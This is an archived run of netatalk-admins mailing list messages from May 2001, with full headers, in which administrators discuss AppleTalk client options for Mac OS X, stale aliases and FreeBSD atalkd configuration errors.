	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12668
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 16:24:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12641
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 16:24:01 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA12599
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 16:24:00 -0400 (EDT)
Received: (qmail 5331 invoked by alias); 16 May 2001 20:24:06 -0000
Received: (qmail 5319 invoked by uid 0); 16 May 2001 20:24:06 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 16 May 2001 20:24:06 -0000
Subject: Re: Unix (Netatalk) Client of Conventional MacOS Server?
From: Matthew Keller <kellermg@potsdam.edu>
To: Allan Hunter <ahunter3@earthlink.net>
Cc: netatalk-admins@umich.edu
In-Reply-To: <p05010401b72870676164@[149.39.30.125]>
References: <p05010401b72870676164@[149.39.30.125]>
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 16 May 2001 16:23:58 -0400
Message-Id: <990044638.2916.4.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

On 16 May 2001 14:10:05 -0400, Allan Hunter wrote:
> Will Netatalk enable me to be a CLIENT of those shares?  Or is 
> Netatalk only useful for turning Unix boxes into AppleShare SERVERS?

    No. Yes (and more).

> If Netatalk won't allow me to be a client, what will?  (There HAS to 
> be something!  I refuse to believe there doesn't exist a way for a 
> Unix box to function as an individual workstation in an AppleTalk 
> networked environment!)

    Sorry, nothing worth a dung (AFAIK). afpfs exists, but, AFAIK, it is
    not being maintained.

> Relevant additional information:  MacOS X in its out-of-the-box form 
> is not able to browse AppleShare resources except for those that sit 
> piggyback on top of TCP/IP.  Plain old garden variety AppleTalk file 
> sharing isn't affiliated with TCP/IP.

    Correct.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed May 16 16:32:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10594
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 16:32:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23463
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 16:32:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23446
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 16:32:33 -0400 (EDT)
Received: from afreet.gandalfgraphics.com (afreet.gandalfgraphics.com [199.246.215.22])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA23419
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 16:32:32 -0400 (EDT)
Received: from ghost.gandalfgraphics.com (ghost.gandalfgraphics.com [199.246.215.13])
	by afreet.gandalfgraphics.com (8.9.3/8.9.3) with ESMTP id QAA02549;
	Wed, 16 May 2001 16:32:25 -0400
Received: from orc.gandalfgraphics.com (orc [199.246.215.9])
	by ghost.gandalfgraphics.com (8.9.3+Sun/8.9.3) with SMTP id QAA07552;
	Wed, 16 May 2001 16:32:24 -0400 (EDT)
From: Les Gondor <les@gandalfgraphics.com>
Date: Wed, 16 May 2001 20:32:59 GMT
Message-ID: <20010516.20325900@orc.gandalfgraphics.com>
Subject: Re: Unix (Netatalk) Client of Conventional MacOS Server?
To: <netatalk-admins@umich.edu>
CC: Allan Hunter <ahunter3@earthlink.net>
In-Reply-To: <Pine.GSO.4.31.0105161446200.21068-100000@math.ohio-state.edu>
References: <Pine.GSO.4.31.0105161446200.21068-100000@math.ohio-state.edu>
X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Solaris SPARC)
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA10594

There did exist a user-level nfs daemon called afpmount, but it was built 
around CAP. The rather old source still exists at 
http://www.funet.fi/pub/mac/cap/afpmount/afpmount-1.8.tar 

Regards,
Les Gondor

On 16/05/01, 02:48:31 PM, Chad Cunningham <ccunning@math.ohio-state.edu> 
wrote regarding Re: Unix (Netatalk) Client of Conventional MacOS Server?:


> Netatalk is a server, it allows other machines to mount volumes from a
> unix machine using classic appletalk or appletalk over IP.

> As far as I know, there is nothing that will allow any variety of unix to
> mount an appleshare volume that is served up by another machine. There is
> a linux kernel module that existed at one time, but it didn't work all
> that well and hasn't been touched in a few years.

> On Wed, 16 May 2001, Allan Hunter wrote:

> > Hello, list!  Complete Unix newbie here, courtesy of MacOS X (I'm
> > afraid you'll be getting more and more of this...)
> >
> > Suppose I wish to access the shares that are set up on Macintosh
> > computers here in our organization, and I am running a BSD Unix
> > variant (MacOS X in this case).  Those Macintoshes (hundreds of them,
> > in dozens of hallways throughout many buildings in many states -- in
> > other words, changing how THEY are set up isn't a viable answer here)
> > are not running AppleShare of the IP variety but just plain old
> > garden variety AppleTalk-based file sharing over Ethernet.
> >
> > Will Netatalk enable me to be a CLIENT of those shares?  Or is
> > Netatalk only useful for turning Unix boxes into AppleShare SERVERS?
> >
> > If Netatalk won't allow me to be a client, what will?  (There HAS to
> > be something!  I refuse to believe there doesn't exist a way for a
> > Unix box to function as an individual workstation in an AppleTalk
> > networked environment!)
> >
> > Relevant additional information:  MacOS X in its out-of-the-box form
> > is not able to browse AppleShare resources except for those that sit
> > piggyback on top of TCP/IP.  Plain old garden variety AppleTalk file
> > sharing isn't affiliated with TCP/IP.
> >
> >
> >

> --

> Chad Cunningham
> ccunning@math.ohio-state.edu

> "Well, once again my friend, we find that science is a two-headed beast. 
One
> head is nice, it gives us aspirin and other modern conveniences,...but 
the
> other head of science is bad! Oh beware the other head of science, 
Arthur, it
> bites!"

From netatalk.administrators-errors@umich.edu  Wed May 16 17:16:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12797
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 17:16:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA28083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 17:16:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA28058
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 17:16:05 -0400 (EDT)
Received: from chi6-1.relay.mail.uu.net (chi6-1.relay.mail.uu.net [199.171.54.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA27865
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 17:16:00 -0400 (EDT)
Received: from [149.39.30.145] by chi6sosrv11.alter.net with ESMTP 
	(peer crosschecked as:  [149.39.30.145] (may be forged))
	id QQkpht24811
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 21:15:55 GMT
Mime-Version: 1.0
X-Sender: ahunter3@earthlink.net (Unverified)
Message-Id: <p05010402b72897409da8@[149.39.30.145]>
Date: Wed, 16 May 2001 16:47:34 -0400
To: netatalk-admins@umich.edu
From: Allan Hunter <ahunter3@earthlink.net>
Subject: re: Unix (Netatalk) Client of Conventional MacOS Server?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 2:48 PM -0400 5/16/01, Chad Cunningham wrote:
>As far as I know, there is nothing that will allow any variety of unix to
>mount an appleshare volume that is served up by another machine. There is
>a linux kernel module that existed at one time, but it didn't work all
>that well and hasn't been touched in a few years.

What about a Cayman Gatorbox?

Don't laugh, folks, I'm trying to sound knowledgeable here!

But seriously, I've heard rumors that something called a Gatorbox 
might provide the functionality I'm looking for (to be a CLIENT of an 
existing non-ASIP AppleTalk File Sharing network.  I'm already 
capable of being a SERVER).





-- 
Allan Hunter

<ahunter3@earthlink.net>
<http://home.earthlink.net/~ahunter>

From netatalk.administrators-errors@umich.edu  Thu May 17 06:24:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA03001
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 06:24:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16098
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 06:24:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16085
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 06:24:50 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA15994
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 06:24:45 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id MAA00878;
	Thu, 17 May 2001 12:31:49 +0200
Message-ID: <3B03A740.5090006@i-clue.de>
Date: Thu, 17 May 2001 12:26:08 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
Organization: i-clue GmbH, Waiblingen, Germany
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9) Gecko/20010505
X-Accept-Language: de, en
MIME-Version: 1.0
To: Lee Blevins <leeb@digitalgraphics.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: alias losing it's link
References: <1ethspa.1w4tken74rutcM@cx448422-b.wwck1.ri.home.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Lee Blevins wrote:

> I make an alias of a directory (folder) on a netatalk vol. and after
> some time I double click it and it opens another folder. 
> 
> Any ideas what's happening here?


Since netatalk saves folder IDs only for a session, afert logout your 
alias is stale. That's a known problem, it's not easily fixed.

HTH
-Christoph Sold


From netatalk.administrators-errors@umich.edu  Thu May 17 11:15:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10765
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 11:15:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10726
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 11:15:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10713
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 11:15:43 -0400 (EDT)
Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10678
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 11:15:41 -0400 (EDT)
Received: from mindspring.com (user-38ld984.dsl.mindspring.com [209.86.165.4])
	by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA27873
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 11:15:50 -0400 (EDT)
Message-ID: <3B03EB25.49A98FF5@mindspring.com>
Date: Thu, 17 May 2001 11:15:50 -0400
From: Barry Stock <barrystock@mindspring.com>
Reply-To: barrystock@mindspring.com
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en,pdf
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: Unix (Netatalk) Client of Conventional MacOS Server?
References: <p05010402b72897409da8@[149.39.30.145]>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

I would suggest returning to MacOS 9.1 for the time being. OSX is not going
to allow you to access classic appletalk shares. Sorry to be the bearer of
this unfortunate opinion. Are all of these Macs running pre-IP MacOS's?

-bs


From netatalk.administrators-errors@umich.edu  Thu May 17 11:48:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16369
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 11:48:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22557
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 11:48:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22531
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 11:48:38 -0400 (EDT)
Received: from beacon.beaconschool.org ([209.2.216.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA22360
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 11:48:32 -0400 (EDT)
Received: from localhost (jpione@localhost)
	by beacon.beaconschool.org (8.9.3/8.9.3) with ESMTP id LAA19744
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 11:49:30 -0400
Date: Thu, 17 May 2001 11:49:30 -0400 (EDT)
From: James Pione <jpione@beacon.beaconschool.org>
To: <netatalk-admins@umich.edu>
Subject: Newbie FreeBSD & Netatalk question
Message-ID: <Pine.LNX.4.30.0105171117020.19342-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi All.
	I'm a new FreeBSD administrator, and I have to make the UNIX box
do apple file serving for a whole bunch of macs. Unfortunately, I haven't
had any success getting Netatalk working. I'm running FreeBSD release 4.2
on a Pentium 166mhz Toshiba Infinia 7160, with some 32 megs RAM and a 1.6
gig HD. I also have two network cards on the machine, with bridging
support enabled in the kernel. I enabled netatalk support in the kernel,
as per instructions, and installed netatalk 1.4b2 from the FreeBSD ports
collection. The whole installation process seemed to go smoothly, but I get a
whole lot of error messages at startup, when the computer tries to
initialize netatalk. Here's what it looks like:

Local package initialization: netatalk280.161: attribute not found.
bind: Can't assign requested address
bind: Can't assign requested address
May 17 11:26:01 un papd[238]: atp_open: Can't assign requested address
May 17 11:26:01 un afpd[240]: main: atp_open: Can't assign requested
address.

After looking through the archive of this mailing list, I saw a that a few
people who were using FreeBSD and netatalk with two network cards were
having what looked like similar problems. I tried some of the fixes
that had been suggested to them, but unfortunately had no luck. Anyway,
thanks in advance for any ideas people have.

Thanks.
James Pione


From netatalk.administrators-errors@umich.edu  Thu May 17 11:52:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19436
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 11:52:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29434
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 11:52:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29420
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 11:52:10 -0400 (EDT)
Received: from mmb.bme.wisc.edu (mmb.bme.wisc.edu [144.92.12.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29379
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 11:52:09 -0400 (EDT)
Received: from localhost (hzeringu@localhost)
	by mmb.bme.wisc.edu (8.9.3/8.9.3) with ESMTP id KAA11152
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 10:55:23 -0500
Date: Thu, 17 May 2001 10:55:22 -0500 (CDT)
From: Henry Gripp Zeringue <hzeringu@mmb.bme.wisc.edu>
To: <netatalk-admins@umich.edu>
Subject: Share name not working anymore
Message-ID: <Pine.LNX.4.30.0105171041360.11135-100000@mmb.bme.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hey-

running: netatalk-1.4b2+asun2.1.3-7
redhat 6.2

Somehow, I did something to disable the _really nice_ variables feature in
the AppleVolumes.default file.

When AppleVolumes.default looks like:
/home/common	mmb_common_$u	allow:@group1	common_$u

The apple chooser displays:	common_$u

When AppleVolumes.default looks like (the correct way, from what I
understand:
/home/common	mmb_common_$u	allow:@group1

apple chooser displays:		allow:@group1

This also causes a _second_ problem. The "allow" statement doesnt work. I
have a share with only a few users specificed.  This used to work, now
everyone who has access through netatalk has access to _all_ the shares.

Any suggestions would be much appreciated. If I can supply any more info,
let me know.

-gripp
---------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Office:	(608)265-3285
1410 Engineering Dr.	Lab:	(608)262-3013
Madison, WI 53706-1608	Fax:	(608)265-9239
hzeringu@cae.wisc.edu
---------------------------------------------


From netatalk.administrators-errors@umich.edu  Thu May 17 12:14:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA21015
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 12:14:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09112
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 12:14:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA09091
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 12:14:36 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA09011
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 12:14:31 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 150QP3-0006ak-00; Thu, 17 May 2001 17:13:29 +0100
Sender: peter@circlesquared.com
Message-ID: <3B03F8BB.C6C836F3@circlesquared.com>
Date: Thu, 17 May 2001 17:13:47 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: James Pione <jpione@beacon.beaconschool.org>
CC: netatalk-admins@umich.edu
Subject: Re: Newbie FreeBSD & Netatalk question
References: <Pine.LNX.4.30.0105171117020.19342-100000@beacon.beaconschool.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I had this problem and was helped by some responses here. The can't
assign address errors seem characteristic of incorrect interface
configuration in /usr/local/etc/atalkd.conf. If you can comment out the
interface the macs don't talk with, if your network topography allows
that, then it might fix the prob. At the same time, the address range
assigned to the interface has to include addresses papd can use. If the
prob persists, copy your atalkd.conf file in a mail and it will be
easier to see if there are any obvious issues there.

James Pione wrote:
> 
> Hi All.
>         I'm a new FreeBSD administrator, and I have to make the UNIX box
> do apple file serving for a whole bunch of macs. Unfortunately, I haven't
> had any success getting Netatalk working. I'm running FreeBSD release 4.2
> on a Pentium 166mhz Toshiba Infinia 7160, with some 32 megs RAM and a 1.6
> gig HD. I also have two network cards on the machine, with bridging
> support enabled in the kernel. I enabled netatalk support in the kernel,
> as per instructions, and installed netatalk 1.4b2 from the FreeBSD ports
> collection. The whole installation process seemed to go smoothly, but I get a
> whole lot of error messages at startup, when the computer tries to
> initialize netatalk. Here's what it looks like:
> 
> Local package initialization: netatalk280.161: attribute not found.
> bind: Can't assign requested address
> bind: Can't assign requested address
> May 17 11:26:01 un papd[238]: atp_open: Can't assign requested address
> May 17 11:26:01 un afpd[240]: main: atp_open: Can't assign requested
> address.
> 
> After looking through the archive of this mailing list, I saw a that a few
> people who were using FreeBSD and netatalk with two network cards were
> having what looked like similar problems. I tried some of the fixes
> that had been suggested to them, but unfortunately had no luck. Anyway,
> thanks in advance for any ideas people have.
> 
> Thanks.
> James Pione

-- 
Peter Risdon
circle squared
9 The Maltings,
Millfield,
Cottenham,
Cambridge,
CB4 8RE
UK
tel +44 1954 251097
fax +44 1954 252209

While every effort is made to ensure this mail and its attachments are
free of viruses and other malicious software, recipients should take
their own precautions.

This mail is intended for the addressees only. Should you receive it
inappropriately, please delete it and inform us by return mail to
admin@circlesquared.com

Unless otherwise stated, the opinions expressed in this mail are those
of its author, and not statements made on behalf of the circle squared.

From netatalk.administrators-errors@umich.edu  Thu May 17 13:08:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA22652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 May 2001 13:08:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14491
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 May 2001 13:08:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14478
	for netatalk.administrators-members@umich.edu; Thu, 17 May 2001 13:08:42 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA14451
	for <netatalk-admins@umich.edu>; Thu, 17 May 2001 13:08:41 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA04133;
	Thu, 17 May 2001 19:16:04 +0200
Message-ID: <3B0405F8.4000702@i-clue.de>
Date: Thu, 17 May 2001 19:10:16 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
Organization: i-clue GmbH, Waiblingen, Germany
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9) Gecko/20010505
X-Accept-Language: de, en
MIME-Version: 1.0
To: barrystock@mindspring.com
CC: netatalk-admins@umich.edu
Subject: Re: Unix (Netatalk) Client of Conventional MacOS Server?
References: <p05010402b72897409da8@[149.39.30.145]> <3B03EB25.49A98FF5@mindspring.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Barry Stock wrote:

> I would suggest returning to MacOS 9.1 for the time being. OSX is not going
> to allow you to access classic appletalk shares. Sorry to be the bearer of
> this unfortunate opinion. Are all of these Macs running pre-IP MacOS's?


A simple workaround is to open the chooser in classic environment. Mac 
OS X will show all AppleShare Servers in your network. Connect will fail 
for all AppleTalk over Ethernet servers, but more modern servers will 
automatically switch to IP and allow you to connect from OS X.

HTH
.Christoph Sold


From netatalk.administrators-errors@umich.edu  Fri May 18 03:28:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA19219
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 03:28:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA12991
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 03:28:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA12970
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 03:28:00 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA12922
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 03:27:58 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA01679;
	Fri, 18 May 2001 09:22:15 +0200
Message-ID: <3B04CDA8.9A336E21@euc.de>
Date: Fri, 18 May 2001 09:22:12 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: James Pione <jpione@beacon.beaconschool.org>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Newbie FreeBSD & Netatalk question
References: <Pine.LNX.4.30.0105171117020.19342-100000@beacon.beaconschool.org>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA19219

try altering yout /etc/atalk/atalk.confb y adding 'seed' then shut down
the atalk daemon and start it again. this takes a few minutes because
the deamon is searching your net for free nodes. when the atalkd is
started lokk into the conf file and you will see the numbers atalk is
using. fire up afpd and thats it

James Pione wrote:
> 
> Hi All.
>         I'm a new FreeBSD administrator, and I have to make the UNIX box
> do apple file serving for a whole bunch of macs. Unfortunately, I haven't
> had any success getting Netatalk working. I'm running FreeBSD release 4.2
> on a Pentium 166mhz Toshiba Infinia 7160, with some 32 megs RAM and a 1.6
> gig HD. I also have two network cards on the machine, with bridging
> support enabled in the kernel. I enabled netatalk support in the kernel,
> as per instructions, and installed netatalk 1.4b2 from the FreeBSD ports
> collection. The whole installation process seemed to go smoothly, but I get a
> whole lot of error messages at startup, when the computer tries to
> initialize netatalk. Here's what it looks like:
> 
> Local package initialization: netatalk280.161: attribute not found.
> bind: Can't assign requested address
> bind: Can't assign requested address
> May 17 11:26:01 un papd[238]: atp_open: Can't assign requested address
> May 17 11:26:01 un afpd[240]: main: atp_open: Can't assign requested
> address.
> 
> After looking through the archive of this mailing list, I saw a that a few
> people who were using FreeBSD and netatalk with two network cards were
> having what looked like similar problems. I tried some of the fixes
> that had been suggested to them, but unfortunately had no luck. Anyway,
> thanks in advance for any ideas people have.
> 
> Thanks.
> James Pione

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Fri May 18 06:47:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA23994
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 18 May 2001 06:47:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21071
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 18 May 2001 06:47:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21058
	for netatalk.administrators-members@umich.edu; Fri, 18 May 2001 06:47:55 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA21031
	for <netatalk-admins@umich.edu>; Fri, 18 May 2001 06:47:54 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id AC7E743B0224; Fri, 18 May 2001 05:42:06 -0500
Reply-To: <heath@davesworld.net>
From: "Heath Henderson" <heath@davesworld.net>
To: "Appletalk Netatalk group" <linux-atalk@netspace.org>,
        "Netatalk Admins" <netatalk-admins@umich.edu>,
        <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Subject: Macintosh/Linux UPS question
Date: Fri, 18 May 2001 05:52:49 -0500
